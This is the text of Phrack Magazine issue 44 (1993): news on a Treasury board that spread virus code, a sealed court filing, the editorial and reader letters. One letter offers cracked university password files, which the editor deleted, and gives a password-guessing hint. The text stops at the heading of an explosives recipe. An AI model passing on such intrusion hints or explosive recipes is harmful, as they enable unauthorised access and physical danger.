At least 1,000 computer users called a Treasury Department telephone number, spokesmen said, and had access to the virus codes by tapping into the department's Automated Information System bulletin board before it was muzzled last month.

The bulletin board, run by a security branch of the Bureau of Public Debt in Parkersburg, W.Va., is aimed at professionals whose job it is to combat such malicious destroyers of computer files as "The Internet Worm," "Satan's Little Helper" and "Dark Avenger's Mutation Engine." But nothing blocked anyone else from gaining access to the information.

Before the practice was challenged by anonymous whistleblowers, the bulletin board offered "recompilable disassembled virus source code"‑that is, programs manipulated to reveal their inner workings. The board also made available hundreds of "hackers' tools"‑the cybernetic equivalent of safecracking aids. They included "password cracker" software‑various programs that generate huge volumes of letters and numbers until they find the combination that a computer is programmed to recognize as authorizing access to its contents‑and "war dialers," which call a vast array of telephone numbers and record those hooked to a computer.

The information was intended to educate computer security personnel, according to Treasury spokesmen. "Until you understand how penetration is done, you can't secure your system," said Kim Clancy, the bulletin board's operator.

The explosion of computer bulletin boards‑dial‑up systems that allow users to trade any product that can be expressed in machine‑readable zeros and ones‑has also added to the ease of virus transmission, computer analysts say. "I am Bulgarian and my country is known as the home of many productive virus writers, but at least our government has never officially distributed viruses," wrote Vesselin Vladimirov Bontchev of the Virus Test Center of the University of Hamburg, Germany.

At first, the AIS bulletin board contained only routine security alert postings. But then operator Clancy "began to get underground hacker files and post them on her board," said Bruce Sterling, author of "The Hacker Crackdown: Law and Disorder on the Electronic Frontier." "She amassed a truly impressive collection of underground stuff. If you don't read it, you don't know what's going to hit you."

Clancy, 30, who is a former Air Force bomb‑squad member, is highly regarded in the computer security world. Sterling, one of the nation's foremost writers about the computer underground, called her "probably the best there is in the federal government who's not military or NSA (National Security Agency). Probably better than most CIA."

Clancy, meanwhile, is staying in touch with the underground. In fact, this week, she said, she was "testing a product for some hackers." Before it goes into production, she will review it to find potential bugs. It is a new war dialer called "Tone‑Loc." "It's an extremely good tool. Saves me a lot of trouble. It enables me to run a hack against my own phone system faster" to determine points of vulnerability.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[AGENT STEAL ‑‑ WORKING WITH THE FEDS]

IN THE UNITED STATES DISTRICT COURT

FOR THE NORTHERN DISTRICT OF TEXAS

DALLAS DIVISION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE UNITED STATES OF AMERICA *

*

V. * CRIMINAL NO. 3‑91‑194‑T

* (FILED UNDER SEAL)

JUSTIN TANNER PETERSEN (1) *

JOINT MOTION TO SEAL

COMES NOW the United States of America, by its United

States Attorney, at the request of the defendant, and hereby

requests that this Honorable Court seal the record in this case.

In support thereof, the United States states the following:

1. The case is currently being transferred to the

Middle District of California for plea and disposition pursuant

to Federal Rule of Criminal Procedure 20;

2. The defendant is released on bond by the United

States District Court for the Middle District of California;

3. The defendant, acting in an undercover capacity,

currently is cooperating with the United States in the

investigation of other persons in California; and

4. The United States believes that the disclosure of

the file in this case could jeopardize the aforesaid

investigation and possibly the life of the defendant.

Consequently, the United States requests that this Honorable

Court seal the record in this case.

Respectfully submitted,

MARVIN COLLINS

United States Attorney

LEONARD A. SENEROTE

Assistant United States Attorney Texas State Bar No. 18024700

1100 Commerce Street, Room 16G28 Dallas, Texas 75242‑1699

(214) 767‑0951

CERTIFICATE OF CONFERENCE

The defendant joins in this motion.

LEONARD A. SENEROTE

Assistant United States Attorney

[The entire file of information gathered from the courts regarding Agent Steal is available from Phrack for $5.00 + $2 postage]

44

- Introduction by Erik Bloodaxe

- Phrack Loopback / Editorial by Phrack Staff

- Line Noise Part I by Phrack Staff

- Line Noise Part II by Phrack Staff

- Computer Cop Prophile by The Grimmace

- Conference News Part I by various

- Conference News Part II by various

- Conference News Part III by various

- Intro to Packet Radio by Larry Kollar

- The Moeller Papers by Erhart Moller

- Sara Gordon v. Kohntark Part I by Kohntark

- Sara Gordon v. Kohntark Part II by Kohntark

- Northern Telecom's FMT-150B/C/D by FyberLyte

- A Guide to Data General's AOS/VS Part I by Herd Beast

- A Guide to Data General's AOS/VS Part II by Herd Beast

- An Interview With Agent Steal by Agent 005

- Visionary - The Story About Him by Visionary

- Searching The Dialog Information Service by Al Capone

- Northern Telecom's SL-1 by Iceman

- Safe and Easy Carding by VaxBuster

- Datapac by Synapse

- An Introduction to the Decserver 200 by Opticon

- LOD Communications BBS Archive Information by unknown

- MOD Family Portrait by unknown

- Gail Takes A Break by unknown

- International Scenes by various

- Phrack World News by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 1 of 27

Issue 44 Index

__________

P H R A C K 4 4

November 17, 1993

__________

~ Your skill is extra ordinary ~

Happy Birthday to Phrack, Happy Birthday to Phrack, Happy Birthday Happy Birthday, Happy Birthday to Phrack. November 17th, 1993 marks the eighth year of Phrack Magazine. Amazing, ain't it? Seems like only a few years. Makes me feel old. Damn.

I have been a busy boy since I put out 43. I've been to Boston, Amsterdam, Las Vegas, Philadelphia, and numerous points in between. I've been slaving at the day job, consulting and speaking about security on the side, working on other ventures you could not possibly conceive of without proper initiation, and piecing together this magazine. (Listening for applause)

It's a big pain in the butt to do a magazine like this, especially when people who SAY they are going to write something, don't. I know, it's a typical hacker cop‑out to start something and then get side‑tracked by other projects. I'm as guilty of that as is any of you, but I'm trying to get better. So should those of you who are hiding your faces in shame...you know who you are.

Every day I get bombarded with "When's the next Phrack coming out?" It started the day I released 43 on IRC. THE SAME DAY! 43 hadn't even gone out over the mailing list yet, and people were already asking when the next one was due out! I know they didn't read all 1.2 megs of 43 before they started in on me. Geez, that gets old. For those of you who ever consider asking me such a thing, the answer is, "When it's done."

Alas, still no new corporate registrations. A few people have expressed an interest, but never followed through.

We have gotten a number of non‑corporate registrations from people who I guess just wanted to send me mail. Listen guys, I love to hear from you all, but unless you are a corporate, federal, or law enforcement reader complying with our registration requirements and paying the fee, you don't have to send in the form.

We've got a few nifty things in this issue. Phrack never really included much more than text. Last month's inclusion of the Novell utilities uuencoded was a departure from the norm, and I decided to do somthing like that again. In this issue you will find a small photo collection that might make you smile.

If you can't figure out how to use uudecode, I suggest

you close this file, and spend a few moments perusing the man page entries on that command, or consulting a good book on unix. And for you whiners that don't have accounts on UNIX boxes, uuencode and uudecode programs are available for DOS, Mac, Amiga and virtually any platform you care to use. (Although if you are using MVS, CICS, TSO or 400/OS, you reap what you sow.)

A lot of conferences went on during the time that has passed since our last issue. It's nice to see that the community is making itself a louder voice in the world, although seeing the word "Cyber" on nearly every magazine in the Western Hemisphere is making me rather nauseous, and if Billy Idol gets on another TV show (aside from The Hollywood Squares, which would mean his career was OVER) I may have to sell everything electronic I own. Hell, there was even hacking on Melrose Place. Anyway, back to the point, as is the case with every gathering, we've got it covered.

You might notice that there are a lot of files dealing with people and places rather than strictly items of hardcore technical info. I know some may disagree with me, but I really feel that its important to document and chronicle things that relate to the personalities of this community. I mean, how entertaining is it to read "HOW TO HACK TOPS‑20" ten years later?

Don't get me wrong and think we're not dealing with anything meaty. This issue we've also got operating system guides, cell & bell stuff, Van Eck info, and MORE MORE MORE.

Phrack 44. It's out. Now leave me alone. :)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file. Cost is $100.00 US per user for subscription registration. Cost of multi‑user licenses will be negotiated on a site‑by‑site basis.

Individual User: If you are an individual end user whose use is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine free of charge. You may also distribute this magazine freely to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

Enclosed is $________

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Hard Copy: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editor‑In‑Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : CERT (not)

News : Datastream Cowboy

Photography : dFx

Three People KL

Says "Never Trust" : Erik Bloodaxe, Dispater, Control C Dead Guy : River Phoenix

Prison Consultant : Co / Dec

Gamblers Anonymous : KevinTX

Takes Too Long

To Make Xeroxes : Count Zero

Group To Watch : PoP/FoF

Dazed : Weevil

Typist : DDS

My Hero : Lazlo Toth

Thanks To : The Grimmace, Agent 005, Iceman Herd Beast, Al Capone, Synapse, Opticon the Disassembled, Holz, Gurney Halleck, Dark Tangent, Visionary Paco @ Fringeware, VaxBuster Larry Kollar, Sara Gordon, Kohntark, FyberLyte, InterPACT Press, Netsys, The WELL, MOD, Gail, Hack‑Tic.

"Aitsu, satsu ni tarekondari shitara bukkoroshite yaru!"

‑‑ A Paranoid Haiteku‑Otaku

Phrack Magazine V. 4, #44, November 17, 1993. ISSN 1068‑1035 Contents Copyright (C) 1993 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor‑In‑Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.sf.ca.us and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

ftp.netsys.com (Phrack FTP Site) /pub/phrack

phrack@well.sf.ca.us (Phrack E‑mail Address)

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==

=q2KB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 44 =‑

Table Of Contents Approx. Size

~~~~~~~~~~~~~~~~~

1. Introduction by The Editor 16K

2. Phrack Loopback / Editorial 57K

3. Line Noise Part I 51K

4. Line Noise Part II 35K

5. Computer Cop Prophile by The Grimmace 22K 6. Conference News Part I by Various Sources 55K 7. Conference News Part II by Various Sources 35K 8. Conference News Part III by Various Sources 50K 9. Intro to Packet Radio by Larry Kollar 16K

10. The Moeller Papers 30K

11. Sara Gordon v. Kohntark Part I 12K 12. Sara Gordon v. Kohntark Part II 47K 13. Northern Telecom's FMT‑150B/C/D by FyberLyte 16K 14. A Guide to Data General's AOS/VS Part I by Herd Beast 46K 15. A Guide to Data General's AOS/VS Part II by Herd Beast 50K 16. An Interview With Agent Steal by Agent 005 14K 17. Visionary ‑ The Story About Him by Visionary 23K 18. Searching The Dialog Information Service by Al Capone 48K 19. Northern Telecom's SL‑1 by Iceman 30K 20. Safe and Easy Carding by VaxBuster 18K

21. Datapac by Synapse 36K

22. An Introduction to the Decserver 200 By Opticon 16K 23. LOD Communications BBS Archive Information 29K

24. MOD Family Portrait 35K

25. Gail Takes A Break 49K

26. International Scenes by Various Sources 25K 27. Phrack World News by Datastream Cowboy 22K

Total: 882K

People who don't get the picture:

"Clipper products may not be usable around the world." (NIST Advisory Board, August, 1993)

"Coin stations not served by the TSPS/TOPS ACTS system are subject to considerable fraud and operating expense." (TE&M, p. 58, September 1, 1993)

" 'Our basic objective is to detect toll‑fraud and prevent customers from suffering large losses,' said AT&T's (Karen) Pepe. 'We're just trying to stay ahead of the curve.'"

(Telephony, p. 13, August 30, 1993)

People who get the picture:

"I don't like things that suck."

(Butthead, to Beavis, Every Day, 1993)

Phrack Loopback / Editorial

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 2 of 27

****************************************

Phrack Loopback

Hey,

Well, Im trying to set up a BBS here in small little old northeast pa, and I'm wondering if there is any way I could post the issues of phrack on it.

I've gotten some issues from MindVOX and loved em. Thought others would like em. Please send mail back.

the soon to be SySop of LLD.

Rebls

[I have no problems with people putting copies of Phrack online on bbses for others to download, as long as they stay complete, and as long as you are not charging your users for access to download the files. If you are, you are a business, and if you're planning on making money off of Phrack, you better email me right away. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Control‑Alt‑Delete

INSOC Network Newsletter

Information Society is coming back with a harder, more alternative edge.

16 pg magazine format, quarterly, $5. Strongly supported by Kurt Harland, lead singer. Back issues, merchandise available.

Issue #3 ‑ October 1. Join the Network!

Control‑Alt‑Delete

5822 Green Terrace Lane

Houston, TX 77088‑5414

713/448‑3815

JBeck@AOL.COM

[Here's a plug for a nifty little 'zine. It's amazing how much stuff someone can put out about Information Society. Definitely a must for the hardcore INSoc fan.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I consider myself pretty much an "individual" and an "end user," but I just recently contracted with Mesa State College (of Colorado) to write a simple computer program to organize the tool bin for the vocational technology department. Does this make me a computer consultation contractee of a government, business, or organization? Now that I think of it, the program is designed to keep track of tools so that students don't walk off with them, so that further makes me a "SECURITY computer consultation contractee." Geez. I didn't realize what an important job I had, nor how I am part of the global conspiracy of "computer professionals" to rip people off.

Hm.

What to do, what to do... Well I guess in the spirit of Phrack magazine, and ignoring the entirely hypocritical and pointless posturing that you have engaged in recently, I will go ahead and read it DESPITE the very sternly worded Copyright Warning which you have so prominently placed in file number one. If you feel that the information presented in Phrack 43 should be kept from certain types of people, and if you are frustrated by the fact that these people seem to be getting access to the information even when you have a LAW against it... Well.. "Tough shit."

Bryce

[Bryce:

The "entirely hypocritical and pointless posturing" that we have engaged in is to prove a point. A point that is obviously "beneath" you as you have missed it entirely.

Phrack has been, and always will be free. The copyright notice is to ensure that Phrack is not sold by third parties. The registration notice is only applicable to certain parties whose interests may be opposite those of Phrack Magazine. As you probably realize, it is up to the INDIVIDUAL to decide whether or nor they register. Most corporate/law enforcement/security officials chose not to, hence, they are guilty of the same thing they accuse hackers of.

Now, this aside, I think your letter was real shitty, and you came off like a smarmy dickhead. I personally could care less if you read the magazine or wipe your ass with it. Its up to you. The information is provided for EVERYONE to do with whatever the hell the like.

If my attitude is contrary to what you feel is "the spirit" of Phrack, well... Tough Shit.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greetings,

After reading/hearing about PHRACK, 2600 and others I was pleased to finally receive the latest issue of Phrack. I have a few questions and suggestions to make:

+ I have an idea for an article and would like very much to contribute it to Phrack. How do I go about this? Does the article have to be in any particular format? Would it be a good idea to have submission details in every issue?

+ Is it possible to submit an article to both Phrack and 2600? Would it go against me if I did so?

+ I have heard of a zine similar to 2600, but specifically for the UK. I think it might be called 2800? Is it still going? And how do I get a hold of or in touch with it?

+ With regards to your compilation of phone numbers of dialups to universities in the States, I have been trying for a year or so to compile a similar list specifically for the UK. It has been a bit difficult since those lovely people at the JNT dont like this sort of information being compiled. (Despite the fact you can probably walk into any Computer Centre at a site and pick up a free news letter containing such information ;‑). Anyway, if any UK readers would like to help me in this task, I would very much appreciate it.

And Keep up the good work!

[I'll handle all of this in the order you asked:

1) Submissions to phrack can be thru email at our well address phrack@well.sf.ca.us, or can be mailed via US mail to Phrack Magazine, 603 W. 13th #1A‑278, Austin, TX, 78701. They don't have to be in any specific format (Style‑wise) or on any particular type of media. I can read almost anything for almost any type of computer.

2) You can certainly send your work to both Phrack and 2600. I would ask that if you do so, please indicate it to both myself and Emmanuel Goldstein of 2600 that you have sent it to both magazines. I don't want anyone ragging on me for "ripping of 2600" by publishing something they did, as our schedules are about a month apart.

3) I have never heard of 2800. Perhaps our readers have.

4) I will make sure to forward any UK dialups I get to you for any readers who send them in. I do want to publish your list once you get it compiled though.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am currently in the final stages of writing my magna thesis in History here at the University of Minnesota. Over the past 6 months or so I have been looking at the whole Neidorf/Riggs fiasco and have decided to do a characterization piece about the Prophet. Bruce Sterling

directed me towards you as someone who could give me some personal information on Riggs (His appearance, attitude, and even obscure things such as habits and behaviors). From past experience, I have seen that this information is absolutely necessary in writing these types of "unconventional" histories.

Because I have never met the guy or even seen a picture of him, I must rely on people like yourself who may have met him or may know people who have known him. If you can help me by directing me towards people who have known him in the past or currently know him, it would be greatly appreciated. I really don't want to bother Riggs (and even if I did, I probably would not get much out of any encounter).

Thanks in advance.

Jason W. Esser

[I'm sorry, but I really can't help you in that respect.

I would suggest you talk to Rob if you want to write about him. Or at a minimum Frank or Adam. They are all very easy to contact. Try directory assistance.]

**He writes back**

THANKS! You have been EXTREMELY helpful in furthering research into the CU! You are a man of great genius and integrity. Jerk.

Jason W. Esser

[Jerk?

You, a stranger, write me and want to know the details about a friend of mine, without even having the courtesy to let HIM know that

you are doing such a thing?

What would YOU think if someone out of the fucking blue phoned you up and asked for information about someone you knew, under the guise of some kind of psychological profile, and wanted to know

what they looked like, personality quirks, etc...

What you are doing has NO RELATIVE MERIT TO THE COMPUTER UNDERGROUND. In fact, I find it intrusive and repulsive. I am not some kind of fucking clearing house for information about people I know. Try his prosecutors for that. Of, if you had any balls at all, you could call Atlanta directory assistance and get phone numbers for Riggs, Darden and Grant.

Since you've been such a dick, I suppose I'll call them myself and let them know that someone is trying to get personal information about at least one of them. I'm sure they will be thrilled.

So, as for my great genius, you should have asked me questions about UNIX...you would have gotten a much more thorough reply.

Asshole.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would like to make my point in e‑mail that I do not wish my program, ISS (Inet Security Scanner), to be in Phrack.

Thank you.

Christopher William Klaus

[I would just like to make my point in e‑mail that I do not give a shit about your program ISS (Inet Security Scanner), and it is not going to be in Phrack.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello, This message desires an urgent reply‑thank you

Recently a friend of mind came into some electronic trouble of sorts. I was wondering if it would be possible to obtain a list and an immediate way to contact lawyer(s) who specialize in such cases. Such as the lawyer who represented the infamous E911 case. As you could imagine, time is of essence. Thank you in advance for a quick reply.

Shadowvex...

[Depending upon where your friend is, and what he/she has done there are a number of people to talk to.

If it is a case that may involve issues of constitutionality

he should call Mike Godwin at the EFF. (godwin@eff.org)

Or may want to contact a local ACLU office.

If he just wants to talk to a lawyer who MIGHT offer him some advice on criminal matters he could try Steve Ryan (blivion@zero.cypher.com)

Craig Neidorf's lawyer probably would not be

interested in taking such a case, unless it would pay him well and was in the Midwest.

Remember, if your friend got busted hacking, lawyers aren't going to help much.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I recently learned that when a prank caller calls you on a USDETEST DIRECT telephone all you have to do is hang up the phone and then pick it up again, then hit '*57' and hang up.

This logs the prank callers info into the phone company's computer so that if he persists, they have proof of his deeds. After 5‑6 prank calls and logging them every time, you may call the phone co. and demand that they give you the prank caller's name, and phone number. You may also have the police notified of the prank caller's address, for severe cases.

After 5 logs of the activity, the phone co. is required by law to give you the person's information. We used it when my aunt was getting a silent caller last month.

[I hope you know that each time you use the Call‑Trace feature you get billed for it. Most modern places have that feature and many of the other custom calling feature upgrades like caller id implemented now a days.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey is phrack still alive? Also, do you know the whereabouts of Full Disclosure magazine and Hack‑Tic the Dutch magazine? If so do you have the phone number and address to them?

Plus, do you know any other mags, that's supports hacker/computer virus (for IBM, MAC, and AMIGA) cracker, anarchy and phreak information? I have the 2600. Are there others our there?

[Phrack is still alive. Notice this response. That should be proof. Hack‑Tic is easily reached by mailing the editor

rop@hacktic.nl

Full Disclosure has no phone.

Full Disclosure

P.O. Box 903

Libertyville, IL 60048

There really aren't any other "hacker" mags. Full Disclosure isn't one by the way. Hack‑tic is entirely in Dutch, so unless you speak Dutch it won't do you much good. There are a few mags that kinda cover the whole net scene, like Boing Boing, Gray Areas, etc...there was a big list of cool magazines in the Line Noise section of Phrack 43.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If possible, I'd like to include an ad for my system in Phrack:

][‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑][ Silicon Valley

Home of Freedom 2o4‑669‑7983 Phalcon/Skism Canada

cDc Global Domination 1 N0de, 24oo 0nLY! Northern Phun Co. Factury Direct Outlet 2 3l33t for U! Dist. Site

S00per 3l33t UUCP Mail (silicon.bison.mb.ca), N0 k0dez, war3z, ansi

**** Thousands of the m0st eut1mat3‑sp1ffy‑krad3st Tf1l3s ar0und! ****

Freedom,Phrack,cDc,PHUN,LoD,Cud,NSA,ATI,NIA,ANE,Chaos,uXu,AOTD,Chalisti, CERT,CIAC,DDN,LOL,40HEX,Iformatik,NFX,FBI,NuKE,Phantasy,Worldview,NARC, PPP,Telecom Archives,EFF,DFP,Legal Papers,CPI,Vindicator Productions,DoA, Virii,ource C0de,Scanners,Hackers,Cell Fraud,AWA,UN*X Security/Crackers, Anarkey,ArcV,Trident,Phalcon/Skism,Summercon GIFS,RL,RDT,Syndicate,UPI, Encryption,PGP,Networking,Radio Modification,Virus S0urce,USEnet,Email. The latest news in the hp and telecom community! To apply, type 'apply' at the 'local >' prompt for questions, mail iceman@silicon.bison.mb.ca

][‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑]‑[‑o‑][

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Two boys were charged with attempted murder for allegedly stuffing a 3‑year‑old down a Chicago high‑rise building's trash chute, police said. The boys, ages 11 and 13 were charged with aggravated battery and attempted murder. The 3‑year‑old fell six floors but his fall was broken by a pile of trash. He was rescued by a custodian who saw his feet and turned off a trash compactor just before it would have crushed him, police said.

yeah, sign me up.

thanks.

[I have got to say, this was the weirdest subscription request I've gotten to date.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

" To the free flow of information, the life‑blood of a prosperous society "

By

The Philosophical Phreaker (a.k.a King Blutto)

Introduction: Don't confuse me with KING BLOTTO in any way... The idea behind my name is ‑‑ THe man is gone, but let the legend live on.

Univeristy of South Florida <‑‑ One of the easiest target that I have ever come across... The worst security ever. Thanks goes to Hiawatha for some of the information.

Just to prevent any loozer from using this information I am not including the address of this particular sight. If you are "mildly" qualified you can find the address... Anywaz, here are some account that I have found using the UNIX password hacker programs. I am also including the password file so all you bad‑boyz, can use your 250,000 word dictionaries and beat the crap out of this system.

[1500 line /etc/passwd file deleted]

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Southern Methodist Univeristy

First of all, I must congragulate the operators of this system. There security was "almost" impregnable. With an abundance of traps.. It made attempts to identify its callers, and if it could not identify its callers it would disconnect. This system was a little bit of challenge, I am again including the password file for you'll to hack as many account as you want. Since I don't have an abudance of accounts on this system, I will only give you a hint on how the passwords work.

Hint: Most password are like <lastname>123

Go for it guyz.

[1200 line /etc/passwd file deleted]

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Regards: Lex Luthor, The Ozone, Hiawatha, StolenProcess, Mark Zero and all you guyz who were on the The Atmosphere!

[Ok, first off, THIS IS NOT SOMETHING TO SUBMIT TO PHRACK. This is something to submit to CERT.

What the hell were you thinking?

Anyone can get their own fucking password files man. And beyond that, if you still need a password file to get into a system, then you need to go read a few books on tcp/ip.

People, please don't send Phrack this kind of bullshit. This piece of mail was about 250K. It was a worthless piece of shit, and only wasted time and energy for everyone involved.

And get a new handle. Blotto would probably kick your ass for being so lame and having a handle so close to his. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A warm welcome from across the sea from myself, and I'm sure on behalf of all the other hackers/phreakers who are in Great Britain.

After reading about HoHoCon in #42, I would really appreciate it if you could assist me in getting hold of the following:

a) When bootleg gave his presentation he handed out a diskette containing information on reprogramming cellular phones... I would dearly love to have a copy of this information.

b) Also on the subject of HoHoCon, I would like to get in touch with Jim Carter, or, have a look at any notes/information that he handed out regarding 'tempest' electronic eavesdropping.

Thanks, ‑> The Operator <‑

[Bootleg's file is called BOOTLEG.ZIP and I'm almost 98% sure that its somewhere on zero.cypher.com's ftp site. If it isn't I'll try to put it there.

Jim Carter is in Houston, Texas and can be reached at 713‑568‑8408 or 7035 Highway 6, S. #120, Houston, TX 77083. Jim didn't really hand anything out at HoHoCon, but if you were to call him, he MIGHT be able to direct you somewhere. He's a good guy, but this is his JOB so don't expect him to give anything away.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

'lo,

I was just wondering if there's any way I can subscribe to your 'zine, I can't subscribe through the method in phrack 39 because I send Internet mail through the Cserve ‑ Internet gateway and compuserve can't accept messages with no subject.

Also, I'm a Canadian Hacker who's just starting out, and since pretty much all the Hacking BBS's are in the U.S., I need to get into a Sprintnet PAD, and an out dial, so, is there anyway to get a copy of the SprintNet directory phrack 42 which still contains passwords? (fuck, what a leech)

{Oh yeah, I miss the explosive recipes from early issues, here's one from my personal collection, you can publish it if you want.}

AMMONIA TRIIODE CRYSTALS

Chemicals Equipment

~~~~~~~~~ ~~~~~

